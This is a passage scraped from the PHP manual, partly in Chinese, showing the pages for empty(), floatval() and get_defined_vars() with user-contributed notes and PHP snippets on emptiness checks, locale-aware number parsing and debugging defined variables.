echo 'null - Empty: ';
$var = null;
echo is_empty($var) ? 'yes<br />' : 'no<br />';
// integer 0
echo '0 - Empty: ';
$var = 0;
echo is_empty($var) ? 'yes<br />' : 'no<br />';
// string "0"
echo 'string "0" - Empty: ';
$var = "0";
echo is_empty($var) ? 'yes<br />' : 'no<br />';
// boolean value false
echo 'false - Empty: ';
$var = false;
echo is_empty($var) ? 'yes<br />' : 'no<br />';
// allow boolean value false
echo 'false ($allow_false = true) - Empty: ';
$var = false;
echo is_empty($var, true) ? 'yes<br />' : 'no<br />';
// boolean value true
echo 'true - Empty: ';
$var = true;
echo is_empty($var) ? 'yes<br />' : 'no<br />';
// string
echo 'string "foo" - Empty: ';
$var = "foo";
echo is_empty($var) ? 'yes<br />' : 'no<br />';
// white space
echo 'white space "     " - Empty: ';
$var = "    ";
echo is_empty($var) ? 'yes<br />' : 'no<br />';
// allow white space
echo 'white space ($allow_ws = true) "     " - Empty: ';
$var = "    ";
echo is_empty($var, false, true) ? 'yes<br />' : 'no<br />';
// empty array
echo 'empty array - Empty: ';
$var = array();
echo is_empty($var) ? 'yes<br />' : 'no<br />';
?>

the above code outputs the following:

unset variable ($notset) - Empty: yes
null - Empty: yes
0 - Empty: no
string "0" - Empty: no
false - Empty: yes
false ($allow_false = true) - Empty: no
true - Empty: no
string "foo" - Empty: no
white space " " - Empty: yes
white space ($allow_ws = true) " " - Empty: no
empty array - Empty: yes

Hope this code is useful for someone.

Michael
thomas at thomasnoest dot nl 28-Nov-2008 01:54
Note on the selfmade empty function below:

function_exists() returns false on language constructs and empty is a language construct.
Anonymous 20-Aug-2008 02:41
To add on to what anon said, what's happening in john_jian's example seems unusual because we don't see the implicit typecasting going on behind the scenes.  What's really happening is:

$a = '';
$b = 0;
$c = '0';

(int)$a == $b -> true, because any string that's not a number gets converted to 0
$b==(int)$c -> true, because the int in the string gets converted
and
$a==$c -> false, because they're being compared as strings, rather than integers.  (int)$a==(int)$c should return true, however.

Note: I don't remember if PHP even *has* typecasting, much less if this is the correct syntax.  I'm just using something for the sake of examples.
tom at tomwardrop dot com 22-May-2008 05:01
In reply to "admin at ninthcircuit dot info",

Using str_replace is unnecessary. I would encourage the use of trim which would most likely be faster (haven't tested) and easier. Trim also takes care of other white space like line breaks and tabs. Actually, in most of the applications I code, I use a multi-dimensional array map function with trim on the Super Globals such as $_POST, $_GET and $_COOKIE as so far, there hasn't been an instance where I would want any user input to begin or end with whitespace. The good thing about doing this is that you never have to worry about 'trimming' your input which makes your code easier and more reliable (incase you forget to trim some input).
Greg Hartwig 02-May-2008 02:55
David from CodeXplorer:
>> The ONLY reason to use empty() is for code readability. It is the same as an IF/ELSE check.
>> So, don't bother using EMPTY in the real world.

This is NOT true.  empty() will not generate warnings if you're testing against an undefined variable as a simple boolean check will.  On production systems, warnings are usually shut off, but they are often active on development systems.

You could test a flag with
   <?php if ($flagvar)  ... ?>
but this can generate a warning if $flagvar is not set.

Instead of
   <?php if (isset($flagvar) && $flagvar)  ... ?>
you can simply use
   <?php if (!empty($flagvar))  ... ?>

for easy readability without warnings.
Andrea Giammarchi 31-Jan-2008 07:34
In addiction to Ed comment:
http://uk.php.net/manual/en/function.empty.php#80106

if an instance variable is assigned with an empty value, i.e. false, empty returns true.

<?php
class TestEmpty{
    protected           $empty;
    public  function    __construct(){
        var_dump(empty($this->empty)); // true
        $this->empty = false;
        var_dump(empty($this->empty)); // true
    }
}
new TestEmpty;
?>

I think this is an expected behaviour but at the same time the note about classes variables is too ambiguous.

''var $var; (a variable declared, but without a value in a class)''

Please change them into something like:
''var $var; (a variable undeclared or declared with an empty value in a class)''
Ed 29-Dec-2007 12:08
Also, it doesn't appear to mention in the documentation, if a variable hasn't previously been declared, empty also returns true.

E.g.
var $bar;
empty( $bar ); // declared variable returns true.
empty( $foo ); // undeclared variable also returns true.

The closest the documentation comes to saying this is:
"var $var; (a variable declared, but without a value in a class)"
which isn't really the same, as the variable doesn't necessarily have to be declared first.
EllisGL 04-Oct-2007 02:48
Here's what I do for the zero issue issue:
if($val == '' && $val !== 0 && $val !== '0')
Antone Roundy 15-Sep-2007 06:55
There's a faster and easier to write method than (isset($a) && strlen($a)) -- isset($a{0}). It evaluates to false if $a is not set or if it has zero length (ie. it's first character is not set). My tests indicate that it's about 33% faster.
rkulla2 at gmail dot com 05-Sep-2007 03:57
Since I didn't like how empty() considers 0 and "0" to be empty (which can easily lead to bugs in your code), and since it doesn't deal with whitespace, i created the following function:

<?php
function check_not_empty($s, $include_whitespace = false)
{
    if ($include_whitespace) {
        // make it so strings containing white space are treated as empty too
        $s = trim($s);
    }
    return (isset($s) && strlen($s)); // var is set and not an empty string ''
}
?>

Instead of saying if (!empty($var)) { // it's not empty } you can just say if (check_not_empty($var)) { // it's not empty }.

If you want strings that only contain whitespace (such as tabs or spaces) to be treated as empty then do: check_not_empty($var, 1)

If you want to check if a string IS empty then do: !check_not_empty($var).

So, whenever you want to check if a form field both exists and contains a value just do: if (check_not_empty($_POST['foo'], 1))

no need to do if (isset() && !empty()) anymore =]
florian.sonner [at] t-online.de 11-Jun-2007 12:06
Since a few people here mentioned that empty will not work with magic-overloading ("__get($var)"):

empty(..) goes the same way as isset(..) do, to check if a property exists. Thus you have to override the magic-function __isset($var) to produce correct results for empty(..) in combination with a magic-overloaded property.
nobody at example dot com 28-Feb-2006 12:06
Re: inerte is my gmail.com username's comment:

While that may be true, those two statements (empty($var), $var == '') are NOT the same. When programming for web interfaces, where a user may be submitting '0' as a valid field value, you should not be using empty().

<?php
    $str = '0';

    // outputs 'empty'
    echo empty($str) ? 'empty' : 'not empty';

    // outputs 'not empty'
    echo $str == '' ? 'empty' : 'not empty';
?>
nahpeps at gmx dot de 19-Aug-2005 03:14
When using empty() on an object variable that is provided by the __get function, empty() will always return true.

For example:

<?php
class foo {

   public function __get($var) {
      if ($var == "bar") {
         return "bar";
      }
   }
}
$object_foo = new foo();
echo '$object_foo->bar is ' . $object_foo->bar;
if (empty($object_foo->bar)) {
   echo '$object_foo->bar seems to be empty';
}
?>

produces the following output:
$object_foo->bar is bar
$object_foo->bar seems to be empty
jmarbas at hotmail dot com 01-Jul-2005 09:10
empty($var) will return TRUE if $var is empty (according to the definition of 'empty' above) AND if $var is not set.

I know that the statement in the "Return Values" section of the manual already says this in reverse:

"Returns FALSE if var has a non-empty and non-zero value."

but I was like "Why is this thing returning TRUE for unset variables???"... oh i see now... Its supposed to return TRUE for unset variables!!!

<?php
  ini_set('error_reporting',E_ALL);
  ini_set('display_errors','1');
  empty($var);
?>
paul at worldwithoutwalls dot co dot uk 22-May-2004 10:09
Note the exceptions when it comes to decimal numbers:

<?php
$a = 0.00;
$b = '0.00';
echo (empty($a)? "empty": "not empty"); //result empty
echo (empty($b)? "empty": "not empty"); //result not empty
//BUT...
$c = intval($b);
echo (empty($c)? "empty": "not empty"); //result empty
?>

For those of you using MySQL, if you have a table with a column of decimal type, when you do a SELECT, your data will be returned as a string, so you'll need to do apply intval() before testing for empty.

e.g.
TABLE t has columns id MEDIUMINT and d DECIMAL(4,2)
and contains 1 row where id=1, d=0.00
<?php
$q = "SELECT * FROM t";
$res = mysql_query($q);
$row = mysql_fetch_assoc($res);
echo (empty($row['d'])? "empty": "not empty"); //result not empty
?>


获取变量的浮点值

  • ? empty
  • get_defined_vars ?
  • PHP Manual
  • Variable handling 函数
  • 获取变量的浮点值

floatval

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

floatval — 获取变量的浮点值

描述

floatval ( mixed $var ) : float

返回变量 var 的 float 数值。

var 可以是任何标量类型。你不能将 floatval() 用于数组或对象。

<?php
$var = '122.34343The';
$float_value_of_var = floatval ($var);
print $float_value_of_var; // 打印出 122.34343
?>

参见 intval()、strval()、settype() 和 类型戏法。

User Contributed Notes

iliyazelenkog at gmail dot com 02-Nov-2018 10:51
(float) would be more performant here (up to 6x times faster).

intval, floatval, doubleval, strva for PHP4 functions (intval, floatval, doubleval, strval), in PHP5 use type casting construction (i.e. '(type) parameter').
radler63 at hotmail dot com 16-Feb-2018 12:27
I get the following disturbing results:
var_dump string(10) "?0.01333"
echo the string=?0.01333
echo (float)string=0
echo floatval(string)=0

The string is an outcome of array_map('str_getcsv', file(...
I can't find the characters 8-10

thanks
T-Soloveychik at ya.ru 03-Mar-2017 02:23
Float value less than 0.0001 (0.0000999999999999995) will be converted by floatval to scientific notation (exponential notation):
<?php

var_dump(floatval(0.0000999999999999995)); # >> float(0,0001)

var_dump(floatval("0.000099")); # >> float(9.9E-5)

var_dump((string)floatval(0.000099)); # >> string(6) "9.9E-5"
pierpaolocira 15-Nov-2016 11:41
Be aware the last tofloat($num).

In theory it is very useful to have a function "separator-agnostic" (I think "locale based" solutions are useless if you have to parse a user file that can have a locale different to the server).

But this can lead to misinterpretations; in short: "123,456" is "123.456" (so comma used as decimal separator) or "123456" (comma used as thousand separator).

In any case, if you really want to use it, please don't forget that this function doesn't manage negative numbers.
movila dot e dot v at gmail dot com 05-Jul-2016 08:05
<?php
       $price = '1.299,00 EUR';
    //$price = 'EUR 1.299,00';
    //$price = '$1,745.09';
    //$price = '$14';
    //$price = '$.14';

    function floatValue($str){
        if(preg_match("/([0-9\.,-]+)/", $str, $match)){
            $value = $match[0];
            if( preg_match("/(\.\d{1,2})$/", $value, $dot_delim) ){
                $value = (float)str_replace(',', '', $value);
            }
            else if( preg_match("/(,\d{1,2})$/", $value, $comma_delim) ){
                $value = str_replace('.', '', $value);
                $value = (float)str_replace(',', '.', $value);
            }
            else
                $value = (int)$value;
        }
        else {
            $value = 0;
        }
        return $value;
    }

    echo floatValue($price);
/*
    1.299,00
    1.299,00
    1,745.09
    14
    0.14
*/
?>
Alexey M 23-Mar-2016 02:28
There is much easier way to deal with formatted numbers:

<?php
$str = '13,232.95';
$var = (double)filter_var($str, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
var_dump($var);
?>
double(13232.95)
zfcb13 at gmail dot com 24-Oct-2015 10:18
More elegant function with selection of decimal point (deafault ,):
<?php
function floatvaldec($v, $dec=',') { return floatval(ereg_replace("," , "." , ereg_replace("[^-0-9$dec]","",$v))); }

// examples:
echo '<br>'.floatvaldec('somthing123.456.789,12Euro') ;
echo '<br>'.floatvaldec('x123,456 789.12 Euro', '.') ;
echo '<br>'.floatvaldec('123.456 789,12$') ;
?>
brewal dot renault at gmail dot com 26-Feb-2014 09:25
This function takes the last comma or dot (if any) to make a clean float, ignoring thousand separator, currency or any other letter :

function tofloat($num) {
    $dotPos = strrpos($num, '.');
    $commaPos = strrpos($num, ',');
    $sep = (($dotPos > $commaPos) && $dotPos) ? $dotPos :
        ((($commaPos > $dotPos) && $commaPos) ? $commaPos : false);

    if (!$sep) {
        return floatval(preg_replace("/[^0-9]/", "", $num));
    }

    return floatval(
        preg_replace("/[^0-9]/", "", substr($num, 0, $sep)) . '.' .
        preg_replace("/[^0-9]/", "", substr($num, $sep+1, strlen($num)))
    );
}

$num = '1.999,369�';
var_dump(tofloat($num)); // float(1999.369)
$otherNum = '126,564,789.33 m2';
var_dump(tofloat($otherNum)); // float(126564789.33)

Demo : http://codepad.org/NW4e9hQH
PapaPinguoin 31-Oct-2011 07:26
To view the very large and very small numbers (eg from a database DECIMAL), without displaying scientific notation, or leading zeros.

FR : Pour afficher les très grand et très petits nombres (ex. depuis une base de données DECIMAL), sans afficher la notation scientifique, ni les zéros non significatifs.

<?php
function floattostr( $val )
{
    preg_match( "#^([\+\-]|)([0-9]*)(\.([0-9]*?)|)(0*)$#", trim($val), $o );
    return $o[1].sprintf('%d',$o[2]).($o[3]!='.'?$o[3]:'');
}
?>

<?php
echo floattostr("0000000000000001");
echo floattostr("1.00000000000000");
echo floattostr("0.00000000001000");
echo floattostr("0000.00010000000");
echo floattostr("000000010000000000.00000000000010000000000");
echo floattostr("-0000000000000.1");
echo floattostr("-00000001.100000");

// result
// 1
// 1
// 0.00000000001
// 0.0001
// 10000000000.0000000000001
// -0.1
// -1.1

?>
secretr at NOSPAM dot e107 dot org 03-Jan-2011 08:37
setlocale() and floatval() duo could break your DB queries in a very simple way:

<?php
setlocale(LC_ALL, 'bg_BG', 'bgr_BGR');
echo floatval(0.15); // output 0,15
?>

You would need simple workaround like:

<?php
function number2db($value)
{
    $larr = localeconv();
    $search = array(
        $larr['decimal_point'],
        $larr['mon_decimal_point'],
        $larr['thousands_sep'],
        $larr['mon_thousands_sep'],
        $larr['currency_symbol'],
        $larr['int_curr_symbol']
    );
    $replace = array('.', '.', '', '', '', '');

    return str_replace($search, $replace, $value);
}

setlocale(LC_ALL, 'bg_BG', 'bgr_BGR');
$testVal = floatval(0.15); // result 0,15
var_dump($testVal, number2db($testVal));

// Result:
// float(0,15)
// string(4) "0.15"
?>
chris at georgakopoulos dot com 29-Jul-2009 08:12
locale aware floatval:

<?php
function ParseFloat($floatString){
    $LocaleInfo = localeconv();
    $floatString = str_replace($LocaleInfo["mon_thousands_sep"] , "", $floatString);
    $floatString = str_replace($LocaleInfo["mon_decimal_point"] , ".", $floatString);
    return floatval($floatString);
}
?>
ted devito 09-Mar-2009 09:10
i noticed all (well, unless i missed something) the functions working with decimals destroy trailing decimal places. this function restores them in case you want to be able to display a consistent precision for users.

<?php
function decimal($val, $precision = 0) {
    if ((float) $val) :
        $val = round((float) $val, (int) $precision);
        list($a, $b) = explode('.', $val);
        if (strlen($b) < $precision) $b = str_pad($b, $precision, '0', STR_PAD_RIGHT);
        return $precision ? "$a.$b" : $a;
    else : // do whatever you want with values that do not have a float
        return $val;
    endif;
}
?>
info at marc-gutt dot de 26-Aug-2008 03:55
<?php
function floatvalue($value) {
     return floatval(preg_replace('#^([-]*[0-9\.,\' ]+?)((\.|,){1}([0-9-]{1,2}))*$#e', "str_replace(array('.', ',', \"'\", ' '), '', '\\1') . '.\\4'", $value));
}
?>

It is much shorter and able to handle those one, too:
xx,-
xx,--
xx'xxx,xx

After using floatvalue() you can go forward with number_format() as usual.
Michiel 30-Jul-2008 05:21
The last getFloat() function is not completely correct.

1.000.000 and 1,000,000 and its negative variants are not correctly parsed. For the sake of comparing and to make myself clear I use the name parseFloat in stead of getFloat for the new function:

<?php
function parseFloat($ptString) {
            if (strlen($ptString) == 0) {
                    return false;
            }

            $pString = str_replace(" ", "", $ptString);

            if (substr_count($pString, ",") > 1)
                $pString = str_replace(",", "", $pString);

            if (substr_count($pString, ".") > 1)
                $pString = str_replace(".", "", $pString);

            $pregResult = array();

            $commaset = strpos($pString,',');
            if ($commaset === false) {$commaset = -1;}

            $pointset = strpos($pString,'.');
            if ($pointset === false) {$pointset = -1;}

            $pregResultA = array();
            $pregResultB = array();

            if ($pointset < $commaset) {
                preg_match('#(([-]?[0-9]+(\.[0-9])?)+(,[0-9]+)?)#', $pString, $pregResultA);
            }
            preg_match('#(([-]?[0-9]+(,[0-9])?)+(\.[0-9]+)?)#', $pString, $pregResultB);
            if ((isset($pregResultA[0]) && (!isset($pregResultB[0])
                    || strstr($preResultA[0],$pregResultB[0]) == 0
                    || !$pointset))) {
                $numberString = $pregResultA[0];
                $numberString = str_replace('.','',$numberString);
                $numberString = str_replace(',','.',$numberString);
            }
            elseif (isset($pregResultB[0]) && (!isset($pregResultA[0])
                    || strstr($pregResultB[0],$preResultA[0]) == 0
                    || !$commaset)) {
                $numberString = $pregResultB[0];
                $numberString = str_replace(',','',$numberString);
            }
            else {
                return false;
            }
            $result = (float)$numberString;
            return $result;
}
?>

Comparing of float parsing functions with the following function:

<?php
function testFloatParsing() {
    $floatvals = array(
        "22 000,76",
        "22.000,76",
        "22,000.76",
        "22 000",
        "22,000",
        "22.000",
        "22000.76",
        "22000,76",
        "1.022.000,76",
        "1,022,000.76",
        "1,000,000",
        "1.000.000",
        "1022000.76",
        "1022000,76",
        "1022000",
        "0.76",
        "0,76",
        "0.00",
        "0,00",
        "1.00",
        "1,00",
        "-22 000,76",
        "-22.000,76",
        "-22,000.76",
        "-22 000",
        "-22,000",
        "-22.000",
        "-22000.76",
        "-22000,76",
        "-1.022.000,76",
        "-1,022,000.76",
        "-1,000,000",
        "-1.000.000",
        "-1022000.76",
        "-1022000,76",
        "-1022000",
        "-0.76",
        "-0,76",
        "-0.00",
        "-0,00",
        "-1.00",
        "-1,00"
    );

    echo "<table>
        <tr>
            <th>String</th>
            <th>floatval()</th>
            <th>getFloat()</th>
            <th>parseFloat()</th>
        </tr>";

    foreach ($floatvals as $fval) {
        echo "<tr>";
        echo "<td>" . (string) $fval . "</td>";

        echo "<td>" . (float) floatval($fval) . "</td>";
        echo "<td>" . (float) getFloat($fval) . "</td>";
        echo "<td>" . (float) parseFloat($fval) . "</td>";
        echo "</tr>";
    }
    echo "</table>";
}
?>
steve at opilo dot net 20-Jul-2008 06:07
Most of the functions listed here that deal with $ and , are unnecessarily complicated. You can use ereg_replace() to strip out ALL of the characters that will cause floatval to fail in one simple line of code:

<?php $output = floatval(ereg_replace("[^-0-9\.]","",$input)); ?>
leprau at leprau dot de 19-Jul-2007 09:26
For those of you, who are looking for a function that rips the first,
but longest possible float (or at least integer) from a string,
like 123.45 from the string "Price: 123,45$"

If no useable value is found, the function returns false.

Checks for both comma and dot as decimal-separator,
but does not check for 3 digits between thousands,
so 1,234.5 is as valid as 1,23,4.5 (both will return 1234.5)

12,.3 will return 12
1,000,000 will return 1000.0 !

(if thousands separator is defined,
decimals should be defined too ...
in fact I was too lazy to check for that too)

Here you go, and feel free to optimize the function ;)
<?php
function getFloat($pString) {
    if (strlen($pString) == 0) {
            return false;
    }
    $pregResult = array();

    $commaset = strpos($pString,',');
    if ($commaset === false) {$commaset = -1;}

    $pointset = strpos($pString,'.');
    if ($pointset === false) {$pointset = -1;}

    $pregResultA = array();
    $pregResultB = array();

    if ($pointset < $commaset) {
        preg_match('#(([-]?[0-9]+(\.[0-9])?)+(,[0-9]+)?)#', $pString, $pregResultA);
    }
    preg_match('#(([-]?[0-9]+(,[0-9])?)+(\.[0-9]+)?)#', $pString, $pregResultB);
    if ((isset($pregResultA[0]) && (!isset($pregResultB[0])
            || strstr($preResultA[0],$pregResultB[0]) == 0
            || !$pointset))) {
        $numberString = $pregResultA[0];
        $numberString = str_replace('.','',$numberString);
        $numberString = str_replace(',','.',$numberString);
    }
    elseif (isset($pregResultB[0]) && (!isset($pregResultA[0])
            || strstr($pregResultB[0],$preResultA[0]) == 0
            || !$commaset)) {
        $numberString = $pregResultB[0];
        $numberString = str_replace(',','',$numberString);
    }
    else {
        return false;
    }
    $result = (float)$numberString;
    return $result;
}
?>
aa at geb-team dot de 04-Sep-2006 08:03
@pillepop2003 at yahoo dot de

<?php
float('-100.00', array('single_dot_as_decimal' => true)); // whoops, returns -10000
?>

use: "/^[0-9-]*[\.]{1}[0-9-]+$/"
instead of: "/^[0-9]*[\.]{1}[0-9-]+$/"
19-Apr-2005 05:30
you can also use typecasting instead of functions:

(float) $value;
pillepop2003 at yahoo dot de 14-Dec-2004 02:38
Use this snippet to extract any float out of a string. You can choose how a single dot is treated with the (bool) 'single_dot_as_decimal' directive.
This function should be able to cover almost all floats that appear in an european environment.

<?php

    function float($str, $set=FALSE)
    {
        if(preg_match("/([0-9\.,-]+)/", $str, $match))
        {
            // Found number in $str, so set $str that number
            $str = $match[0];

            if(strstr($str, ','))
            {
                // A comma exists, that makes it easy, cos we assume it separates the decimal part.
                $str = str_replace('.', '', $str);    // Erase thousand seps
                $str = str_replace(',', '.', $str);    // Convert , to . for floatval command

                return floatval($str);
            }
            else
            {
                // No comma exists, so we have to decide, how a single dot shall be treated
                if(preg_match("/^[0-9]*[\.]{1}[0-9-]+$/", $str) == TRUE && $set['single_dot_as_decimal'] == TRUE)
                {
                    // Treat single dot as decimal separator
                    return floatval($str);

                }
                else
                {
                    // Else, treat all dots as thousand seps
                    $str = str_replace('.', '', $str);    // Erase thousand seps
                    return floatval($str);
                }
            }
        }

        else
        {
            // No number found, return zero
            return 0;
        }
    }

// Examples

echo float('foo 123,00 bar'); // returns 123.00
echo float('foo 123.00 bar' array('single_dot_as_decimal'=> TRUE)); //returns 123.000
echo float('foo 123.00 bar' array('single_dot_as_decimal'=> FALSE)); //returns 123000
echo float('foo 222.123.00 bar' array('single_dot_as_decimal'=> TRUE)); //returns 222123000
echo float('foo 222.123.00 bar' array('single_dot_as_decimal'=> FALSE)); //returns 222123000

// The decimal part can also consist of '-'
echo float('foo 123,-- bar'); // returns 123.00

?>

Big Up.
Philipp
anonymous at start dot be 15-Jun-2004 07:00
Easier-to-grasp-function for the ',' problem.

<?php
function Getfloat($str) {
  if(strstr($str, ",")) {
    $str = str_replace(".", "", $str); // replace dots (thousand seps) with blancs
    $str = str_replace(",", ".", $str); // replace ',' with '.'
  }

  if(preg_match("#([0-9\.]+)#", $str, $match)) { // search for number that may contain '.'
    return floatval($match[0]);
  } else {
    return floatval($str); // take some last chances with floatval
  }
}

echo Getfloat("$ 19.332,35-"); // will print: 19332.35
?>
vickers at hotpop dot com 26-Jan-2004 03:45
floatval() does not work with "$35,234.43", as it could not handle the '$' and the ','.  The following takes care of all values, such that only numeric and the decimal sign are input into floatval().  (It probably shows I'm an old 'c' guy)...this function only lightly tested.

<?php
function strtflt($str) {
    $il = strlen($str);
    $flt = "";
    $cstr = "";

    for($i=0;$i<$il;$i++) {
        $cstr = substr($str, $i, 1);
        if(is_numeric($cstr) || $cstr == ".")
            $flt = $flt.$cstr;
    }
    return floatval($flt);
}
?>

Richard Vickers
vickers@hotpop.com
Zipi 25-Apr-2003 02:51
This function converts a string to a float no matter is the decimal separator dot (.) or comma (,). It also converts integers correctly. It takes the digits from the beginning of the string and ignores all other characters.

<?php
function floatval($strValue) {
   $floatValue = ereg_replace("(^[0-9]*)(\\.|,)([0-9]*)(.*)", "\\1.\\3", $strValue);
   if (!is_numeric($floatValue)) $floatValue = ereg_replace("(^[0-9]*)(.*)", "\\1", $strValue);
   if (!is_numeric($floatValue)) $floatValue = 0;
   return $floatValue;
  }
?>

-Zipi (Finland)
jason at shadonet dot com 07-Mar-2003 07:07
Instead of using floatval which only appeared in PHP 4.2 you could juse use $variable = (float)$variable

This function doesn't seem to add any functionality that wasn't already there.


返回由所有已定义变量所组成的数组

  • ? floatval
  • get_resource_type ?
  • PHP Manual
  • Variable handling 函数
  • 返回由所有已定义变量所组成的数组

get_defined_vars

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

get_defined_vars — 返回由所有已定义变量所组成的数组

描述

get_defined_vars ( void ) : array

此函数返回一个包含所有已定义变量列表的多维数组，这些变量包括环境变量、服务器变量和用户定义的变量。

<?php
$b = array(1,1,2,3,5,8);

$arr = get_defined_vars();

// 打印 $b
print_r($arr["b"]);

// 打印 PHP 解释程序的路径（如果 PHP 作为 CGI 使用的话）
// 例如：/usr/local/bin/php
echo $arr["_"];

// 打印命令行参数（如果有的话）
print_r($arr["argv"]);

// 打印所有服务器变量
print_r($arr["_SERVER"]);

// 打印变量数组的所有可用键值
print_r(array_keys(get_defined_vars()));
?>

参见 get_defined_functions() 和 get_defined_constants()。

User Contributed Notes

Joey 11-Jun-2018 07:22
I posted here before about "this" being in get_defined_vars.

It turns out it's not always there but in certain cases it will inexplicably appear.

    php -r '
    class Test {
        public function a() {var_dump(array_keys(get_defined_vars()));$a = 123;}
        public function b() {var_dump(array_keys(get_defined_vars()));$this;}
    }
    $t = new Test();
    $t->a();
    $t->b();
    '

    array()
    array('this')

This does not happen in PHP 7.2 but will happen in PHP 5.6.
Joey 24-Apr-2018 08:30
Some comments here point out that this function wont return references. It does however return names and names are "references".

I would not recommend the suggestions here that convert it to references.

Instead...

    public function x($a, $b, $c) {
        foreach(array_keys(get_defined_vars()) as $key)
            if($key !== 'this')
                $this->y(${$key});
    }

    public function y(&$input) {
        $input++;
    }

Instead of ${} you can also use $$.

I have done some whacky things in my time to make extremely generic code but I've never had to do anything like the above. It might not even work (but should since it's no different to $a[$key]).

You could also do $$key++ but I've never seen code like that which wasn't horrifically bad (using dynamic where dynamic isn't beneficial).

If you're doing something like that then give it additional scrutiny.
Joey 24-Apr-2018 08:20
I occasionally use this as a hack to convert arguments to an array where terseness is needed (dealing with legacy code, etc).

However in an object context it'll also pull in $this.

Make sure to unset it. If you map it to properties or an array then setting the key this wont be an error.

I recommend using a wrapper function that strips this from the result.
istiaquealamjoy at gmail dot com 23-May-2017 05:37
for all those who don't know how to us this function. copy and run this code in your computer  .

note: you need to know what superglobals are.....

<?php

$A = 5  ;
$B = 10 ;
$C = 15 ;
$D = 20 ;

$F = get_defined_vars($A);

var_dump($F);  //don't use echo. it will show error

?>

Result : will show all superglobals status along with your defined
variables along with its values
sergeyzuzic at mail dot ru 14-Nov-2015 10:35
dirty code sample:

print_r(compact(array_keys(get_defined_vars())));
mail at mkharitonov dot net 01-Jun-2014 07:14
Reference variables are returned by reference (tested on PHP 5.5.11):
<?php
$a = null;
$b = &$a;
get_defined_vars()['b'] = 4;
var_dump($b); // int(4)
?>
ryanlwh at yahoo dot com 02-Apr-2013 05:28
Since get_defined_vars() only gets the variables at the point you call the function, there is a simple way to get the variables defined within the current scope.

<?php
// The very top of your php script
$vars = get_defined_vars();

// Now do your stuff
$foo = 'foo';
$bar = 'bar';

// Get all the variables defined in current scope
$vars = array_diff(get_defined_vars(),$vars);

echo '<pre>';
print_r($vars);
echo '</pre>';
?>
Anonymous 18-Apr-2011 05:32
get_defined_vars() returns ALL the vars (in the current scope), what if you just want all YOUR vars, not PHP's super-globals?

<?php
    var_export(array_diff(get_defined_vars(), array(array())));
?>

Example...

<?php
    $TOP_LEVEL_VAR=1;
    var_export(array_diff(get_defined_vars(), array(array())));
?>

The output (with register_globals off) should be...

array (
  'TOP_LEVEL_VAR' => 1,
)

...it perfectly eliminated all the super-globals, without me having to specify them! (note with register_globals on, the output includes those globals, then TOP_LEVEL_VAR).

Here it is, as a function...(it's the best I could do {I can't call get_defined_vars() inside get_user_defined_vars() cuz of the scope issue}).

<?php
    header('Content-type: text/plain');

    $TOP_LEVEL_VAR=1;

    echo 'register_globals(';
    echo ini_get('register_globals');
    echo ') '.phpversion()."\n";

    var_export(get_user_defined_vars(get_defined_vars()));

    function get_user_defined_vars($vars) {
        return array_diff($vars, array(array()));
    }
?>

Note that originally I had an array of the super-globals I wanted removed from get_defined_vars()'s array, then I noticed even an empty double-array, array(array()), made it give me the correct result. Weird.

This was tested on PHP 5.2.9.
meint at meint dot net 11-Jan-2011 12:46
Please be aware that function_get_vars only returns the variables defined at the point before you call the function_get_vars function, it does not scan the entire function for you, only the lines before you call it.
Johan de Vries 17-Jun-2010 08:09
Note that this only returns things you've used. See http://bugs.php.net/bug.php?id=52110 . So don't expect this to have the $this entry, unless you assign $this to return $this.
donovan at example dot com 21-Oct-2008 09:15
As a note, get_defined_vars() does not return a set of variable references (as I hoped). For example:

<?php

// define a variable
$my_var = "foo";

// get our list of defined variables
$defined_vars = get_defined_vars();

// now try to change the value through the returned array
$defined_vars["my_var"] = "bar";

echo $my_var, "\n";

?>

will output "foo" (the original value). It'd be nice if get_defined_vars() had an optional argument to make them references, but I imagine its a rather specialized request. You can do it yourself (less conveniently) with something like:

<?php

$defined_vars = array();
$var_names = array_keys(get_defined_vars());

foreach ($var_names as $var_name)
{
    $defined_vars[$var_name] =& $$var_name;
}

?>
SyCo 21-Aug-2008 03:52
Here's a very simple function for debugging. It's far from perfect but I find it very handy. It outputs the var value and the var name on a new line. The problem is it'll echo any vars and their name if they share the same value. No big deal when debugging and saves the hassle of writing the HTML and var name when echoing a variable. (ev=echo variable). Using get_defined_vars() inside a function renames the var name to the functions variable so isn't as useful for debugging. Of course, you'll need access to the $GLOBALS array
<?
function ev($variable){
    foreach($GLOBALS as $key => $value){
        if($variable===$value){
            echo '<p>'.$key.' - '.$value.'</p>';
        }
    }
}

$a=0;
ev($a);
$b=0;
ev($b);
$c=0;
ev($c);
?>
Will output
a - 0

a - 0
b - 0

a - 0
b - 0
c - 0
zabmilenko at hotmail dot com 31-Aug-2006 07:32
A little gotcha to watch out for:

If you turn off RegisterGlobals and related, then use get_defined_vars(), you may see something like the following:

<?php
Array
(
    [GLOBALS] => Array
        (
            [GLOBALS] => Array
 *RECURSION*
            [_POST] => Array()
            [_GET] => Array()
            [_COOKIE] => Array()
            [_FILES] => Array()
        )

    [_POST] => Array()
    [_GET] => Array()
    [_COOKIE] => Array()
    [_FILES] => Array()

)
?>

Notice that $_SERVER isn't there.  It seems that php only loads the superglobal $_SERVER if it is used somewhere.  You could do this:

<?php
print '<pre>' . htmlspecialchars(print_r(get_defined_vars(), true)) . '</pre>';
print '<pre>' . htmlspecialchars(print_r($_SERVER, true)) . '</pre>';
?>

And then $_SERVER will appear in both lists.  I guess it's not really a gotcha, because nothing bad will happen either way, but it's an interesting curiosity nonetheless.
lbowerh at adelphia dot net 04-Jun-2004 08:19
Here is a function which generates a debug report for display or email
using get_defined_vars. Great for getting a detailed snapshot without
relying on user input.

<?php
function generateDebugReport($method,$defined_vars,$email="undefined"){
    // Function to create a debug report to display or email.
    // Usage: generateDebugReport(method,get_defined_vars(),email[optional]);
    // Where method is "browser" or "email".

    // Create an ignore list for keys returned by 'get_defined_vars'.
    // For example, HTTP_POST_VARS, HTTP_GET_VARS and others are
    // redundant (same as _POST, _GET)
    // Also include vars you want ignored for security reasons - i.e. PHPSESSID.
    $ignorelist=array("HTTP_POST_VARS","HTTP_GET_VARS",
    "HTTP_COOKIE_VARS","HTTP_SERVER_VARS",
    "HTTP_ENV_VARS","HTTP_SESSION_VARS",
    "_ENV","PHPSESSID","SESS_DBUSER",
    "SESS_DBPASS","HTTP_COOKIE");

    $timestamp=date("m/d/y h:m:s");
    $message="Debug report created $timestamp\n";

